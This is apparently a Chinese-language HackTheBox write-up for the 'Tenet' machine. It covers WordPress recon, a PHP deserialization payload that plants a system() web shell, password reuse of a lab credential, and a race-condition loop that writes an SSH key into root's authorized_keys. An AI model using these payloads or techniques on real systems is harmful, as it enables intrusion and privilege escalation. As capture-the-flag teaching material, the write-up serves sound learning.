HackTheBox-Tenet

  • Name:Tenet
  • OS:Linux

tenet

0x01 信息收集

nmap

1
nmap -p- tenet.htb
1
2
22/tcp open  ssh
80/tcp open http
1
nmap -p 22,80 --script vuln -A tenet.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
.......
.......
.......
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-enum:
| /wp-login.php: Possible admin folder
| /readme.html: Wordpress version: 2
| /: WordPress version: 5.6
| /wp-includes/images/rss.png: Wordpress version 2.2 found.
| /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
| /wp-includes/images/blank.gif: Wordpress version 2.6 found.
| /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
| /wp-login.php: Wordpress login page.
| /wp-admin/upgrade.php: Wordpress login page.
|_ /readme.html: Interesting, a readme.
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-wordpress-users:
| Username found: protagonist
| Username found: neil

80端口有wordpress,nmap找到两个用户名,可以考虑爆破?
wordpress 版本是 5.6

web

访问 http://tenet.htb,随意浏览。

在Migration文章下面发现neil用户的一个评论

20210303-12:23:09-_xcDeKx_qGQkMP

did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!

sator php? sator.php?

直接在网站根目录下访问sator.php,但是不行,尝试将sator.tenet.htb 绑定到/etc/hosts..就可以了。。

然后在sator.tenet.htb下面,访问sator.php。

1
2
3
curl http://sator.tenet.htb/sator.php
[+] Grabbing users from text file <br>
[] Database updated <br

不知道干啥的。。想起来他说有备份文件,试试bak后缀。

嗯,拿到源码。看起来要进行反序列化。

0x02 漏洞利用

源码研究

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';

public function update_db()
{
echo '[+] Grabbing users from text file <br>'; #打印了这段话,(无关心
$this-> data = 'Success'; #将success 传递给变量$data
}


public function __destruct() #重写了销毁,销毁会在网页代码执行结束时,或者是没有变量指向它时执行。
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data); #在当前目录下创建一个名为$user_file,内容为$data的文件
echo '[] Database updated <br>';
#打印这段话(无关心
}
}

$input = $_GET['arepo'] ?? ''; #如果GET参数arepo不存在时,返回空,否则返回arepo的值
$databaseupdate = unserialize($input); #将input字符串还原成一个对象

$app = new DatabaseExport;
$app -> update_db();
?>

这里用到了反序列化,所以我得知道序列化之后的字符串长什么样子,然后我们自己构造一下,添油加醋,传递给arepo变量。

序列化之后的字符串大概长这个样子(假设对象中有两个属性)

1
O:<class_name_length>:"<class_name>":<number_of_properties>:{s:<properties1_name_length>:"<properties1_name>";s:<properties1_value_length>:"<properties1_value>";s:<properties2_name_length>:"<properties2_name>";s:<properties2_value_length>:"<properties2_value>";}

class_name_length对象名字的长度

<class name>类名

<number_of_properties>对象属性个数总和

<properties1_name_length> 第一个对象属性的名字的长度

<properties1_name> 第一个对象属性的名字
<properties1_value_length> 第一个对象属性的值的长度
<properties1_value>第一个对象属性的值。。。如此类推

所以sator.php的对象是DatabaseExport

这个DatabaseExport对象,又有两个公有属性分别是user_filedata,所以之后就是完形填空了。。。

序列化之后的字符串。(也可以直接在sator.php代码中 echo serialize($app);就出来了。

1
O:14:"DatabaseExport":2:{s:9:"user_file";s:9:"users.txt";s:4:"data";s:0:"";}

利用

构造的字符串

1
O:14:"DatabaseExport":2:{s:9:"user_file";s:9:"users.php";s:4:"data";s:30:"<?php echo(system($_GET[a]))?>";}

20210303-14:07:09-_CMZroY_AID4jk

最后会在当前目录下生成一个users.php的文件。文件的值就是我们所构造的。

嗯,访问users.php是200,不是404,尝试whoami一下,成功。

20210303-13:37:47-_THbNQr_pgMMHZ

获得立足点。
20210303-14:19:29-_WhqTvY_f7AX8b

0x03 提权

先去看了下wp-setting.php

20210303-14:20:30-_04OQkV_sDrU3l

获得一个密码,不知道有没有密码复用

neil:Opera2112

看了下/etc/passwd

1
2
3
4
5
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:115:MySQL Server,,,:/nonexistent:/bin/false
neil:x:1001:1001:neil,,,:/home/neil:/bin/bash

neil这个用户存在,所以打开一个伪终端,尝试用这个密码切换用户

20210303-14:26:14-_PD09zK_6WSJ8Z

user-flag

20210303-14:27:56-_PqewDF_GieWXB

sudo -l可以执行这个/usr/local/bin/enableSSH.sh文件。

1
2
3
4
5
Matching Defaults entries for root on tenet:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User neil may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

但是有配置secure_path,原本想试试环境变量提权的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
addKey() {
# 在/tmp下创建一个文件名为 ssh-(随机)
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
# 修改创建默认文件的默认权限
(umask 110; touch $tmpName)

# 将公钥写进去
/bin/echo $key >>$tmpName

checkFile $tmpName

# 把$tmpName文件追加到authorized_keys
/bin/cat $tmpName >>/root/.ssh/authorized_keys

# 然后删掉$tmpName
/bin/rm $tmpName

}

所以我们写个脚本,让他死循环,往tmp目录下ssh-开头的所有文件去写我们的公钥,或许能登陆?

1
2
3
4
5
#!/bin/bash
while :
do
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcZ7NUYzu7L02TlZawnID2FL9O8jZFBV7BFeum/vOkPISieLAT8kbVBKuRxwpSryGJA2elfFHgOkPGnNPL+UD0zKes3SUWOm02rxRBZXt0LIrLXTd1yRNouJ1NTkzdBO1pGy2Sly0GNYGwmJ8NIlOhqjq+tEqR9DFt0BPPDfHOvqyr7DyZ00OgkA22wYIyVQoSsdqmIEGDNVF7u5c8isahm0UGQu+zHV0YQAusS17dA6pyFiOrXpWT4mwq8nVdFTHmmQqqYkGhZvdutoFG2JVTuFFPRjEyAo5hmfadIo+qdUwa10KUNhT2WyrQBLSf3CPNV3DVVBl9XXUP9jHFslSx [email protected]" | tee /tmp/ssh* > /dev/null
done

20210303-16:06:28-_LvwSr1_zxyrNJ

0x03 总结 & 参考